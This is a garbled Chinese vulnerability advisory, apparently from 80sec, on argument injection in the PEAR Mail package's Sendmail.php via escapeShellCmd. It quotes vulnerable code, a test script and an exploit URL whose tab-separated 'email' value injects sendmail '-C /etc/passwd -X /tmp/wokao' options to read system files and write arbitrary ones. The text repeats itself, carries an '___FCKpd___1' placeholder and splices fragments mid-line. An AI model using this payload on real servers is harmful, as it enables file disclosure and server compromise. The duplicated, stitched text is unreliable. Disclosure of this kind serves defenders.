|
漏洞介绍:PEAR是PHP的官方开源类库, PHP Extension and Application Repository的缩写。PEAR将PHP程序开发过程中常用的功能编写成类库,涵盖了页面呈面、数据库访问、文件操作、数据结构、缓存操作、网络协议等许多方面,用户可以很方便地使用。它是一个PHP扩展及应用的一个代码仓库,简单地说,PEAR就是PHP的cpan。但是80sec发现,Pear的Mail模块存在安全漏洞,某些情况下将导致用户以webserver权限在主机上读写操作系统任意文件,继而控制主机执行php代码等。 漏洞分析:PEAR的Mail包错误地使用escapeShellCmd来过滤传入到sendmail命令的用户参数,用户提交精心构造的参数即可调用sendmail的其他参数,即可在操作系统上读写任意文件。
Php 代码复制代码
-
Sendmail.php
-
-
......
-
if (!isset($from)) {
-
return PEAR::raiseError('No from address given.');
-
} elseif (strpos($from, ' ') !== false ||
-
strpos($from, ';') !== false ||
-
strpos($from, '&') !== false ||
-
strpos($from, '`') !== false) {
-
return PEAR::raiseError('From address specified with dangerous characters.');
-
}
-
-
$from = escapeShellCmd($from);
-
$mail = &popen($this->sendmail_path . (!empty($this->sendmail_args) ? ' ' . $this->sendmail_args : '') . " -f$from -- $recipients", 'w');
-
if (!$mail) {
-
return PEAR::raiseError('Failed to open sendmail [' . $this->sendmail_path . '] for execution.’);
-
}
-
……
-
-
-
Sendmail.php
......
if (!isset($from)) {
return PEAR::raiseError('No from address given.');
} elseif (strpos($from, ' ') !== false ||
strpos($from, ';') !== false ||
strpos($from, '&') !== false ||
strpos($from, '`') !== false) {
return PEAR::raiseError('From address specified with dangerous characters.');
}
$from = escapeShellCmd($from);
$mail = @popen($this->sendmail_path . (!empty($this->sendmail_args) ? ' ' . $this->sendmail_args : '') . " -f$from -- $recipients", 'w');
if (!$mail) {
return PEAR::raiseError('Failed to open sendmail [' . $this->sendmail_path . '] for execution.’);
}
……
可以看到 $from 变量的过滤并不完全,由于escapeShellCmd会将\等字符替换为空,即可绕过对空格的检查,而escapeshellcmd本身并不检查对于参数的调用,所以导致安全漏洞的发生。
漏洞测试:
Php 代码复制代码
-
<?php
-
ini_set('include_path',ini_get('include_path').':/usr/local/lib/php/PEAR:');
-
require_once("Mail.php");
-
$from = "From: " . $_REQUEST['email'] . “\r\n”;
-
$to = “xxxxxxx&zzzz.com”;
-
$subj = “subscription request”;
-
$body = “subscribe me”;
-
$hdrs = array(
-
“To” => $to,
-
“Cc” => $cc,
-
“Bcc” => $bcc,
-
“From” => $from,
-
“Subject” => $subject,
-
);
-
$body=”test”;
-
$mail =& Mail::factory(’sendmail’);
-
$mail->send($to, $hdrs, $body);
-
?>
-
-
<?php
ini_set('include_path',ini_get('include_path').':/usr/local/lib/php/PEAR:');
require_once("Mail.php");
$from = "From: " . 漏洞介绍:PEAR是PHP的官方开源类库, PHP Extension and Application Repository的缩写。PEAR将PHP程序开发过程中常用的功能编写成类库,涵盖了页面呈面、数据库访问、文件操作、数据结构、缓存操作、网络协议等许多方面,用户可以很方便地使用。它是一个PHP扩展及应用的一个代码仓库,简单地说,PEAR就是PHP的cpan。但是80sec发现,Pear的Mail模块存在安全漏洞,某些情况下将导致用户以webserver权限在主机上读写操作系统任意文件,继而控制主机执行php代码等。 漏洞分析:PEAR的Mail包错误地使用escapeShellCmd来过滤传入到sendmail命令的用户参数,用户提交精心构造的参数即可调用sendmail的其他参数,即可在操作系统上读写任意文件。
Php 代码复制代码
-
Sendmail.php
-
-
......
-
if (!isset($from)) {
-
return PEAR::raiseError('No from address given.');
-
} elseif (strpos($from, ' ') !== false ||
-
strpos($from, ';') !== false ||
-
strpos($from, '&') !== false ||
-
strpos($from, '`') !== false) {
-
return PEAR::raiseError('From address specified with dangerous characters.');
-
}
-
-
$from = escapeShellCmd($from);
-
$mail = &popen($this->sendmail_path . (!empty($this->sendmail_args) ? ' ' . $this->sendmail_args : '') . " -f$from -- $recipients", 'w');
-
if (!$mail) {
-
return PEAR::raiseError('Failed to open sendmail [' . $this->sendmail_path . '] for execution.’);
-
}
-
……
-
-
-
Sendmail.php
......
if (!isset($from)) {
return PEAR::raiseError('No from address given.');
} elseif (strpos($from, ' ') !== false ||
strpos($from, ';') !== false ||
strpos($from, '&') !== false ||
strpos($from, '`') !== false) {
return PEAR::raiseError('From address specified with dangerous characters.');
}
$from = escapeShellCmd($from);
$mail = @popen($this->sendmail_path . (!empty($this->sendmail_args) ? ' ' . $this->sendmail_args : '') . " -f$from -- $recipients", 'w');
if (!$mail) {
return PEAR::raiseError('Failed to open sendmail [' . $this->sendmail_path . '] for execution.’);
}
……
可以看到 $from 变量的过滤并不完全,由于escapeShellCmd会将\等字符替换为空,即可绕过对空格的检查,而escapeshellcmd本身并不检查对于参数的调用,所以导致安全漏洞的发生。
漏洞测试:
Php 代码复制代码
-
<?php
-
ini_set('include_path',ini_get('include_path').':/usr/local/lib/php/PEAR:');
-
require_once("Mail.php");
-
$from = "From: " . $_REQUEST['email'] . “\r\n”;
-
$to = “xxxxxxx&zzzz.com”;
-
$subj = “subscription request”;
-
$body = “subscribe me”;
-
$hdrs = array(
-
“To” => $to,
-
“Cc” => $cc,
-
“Bcc” => $bcc,
-
“From” => $from,
-
“Subject” => $subject,
-
);
-
$body=”test”;
-
$mail =& Mail::factory(’sendmail’);
-
$mail->send($to, $hdrs, $body);
-
?>
-
-
___FCKpd___1
http://www.80sec.com/index.php?1=3&email=xxxxx%09-C%09/etc/passwd%09-X%09/tmp/wokao%09zzz@x%09.com&l=2&1=3
即可看到此漏洞的利用。
漏洞影响:所有PEAR的Mail函数包 漏洞状态:通知官方
REQUEST['email'] . “\r\n”;
$to = “xxxxxxx@zzzz.com”;
$subj = “subscription request”;
$body = “subscribe me”;
$hdrs = array(
“To” => $to,
“Cc” => $cc,
“Bcc” => $bcc,
“From” => $from,
“Subject” => $subject,
);
$body=”test”;
$mail =& Mail::factory(’sendmail’);
$mail->send($to, $hdrs, $body);
?>
http://www.80sec.com/index.php?1=3&email=xxxxx%09-C%09/etc/passwd%09-X%09/tmp/wokao%09zzz@x%09.com&l=2&1=3
即可看到此漏洞的利用。
漏洞影响:所有PEAR的Mail函数包 漏洞状态:通知官方
|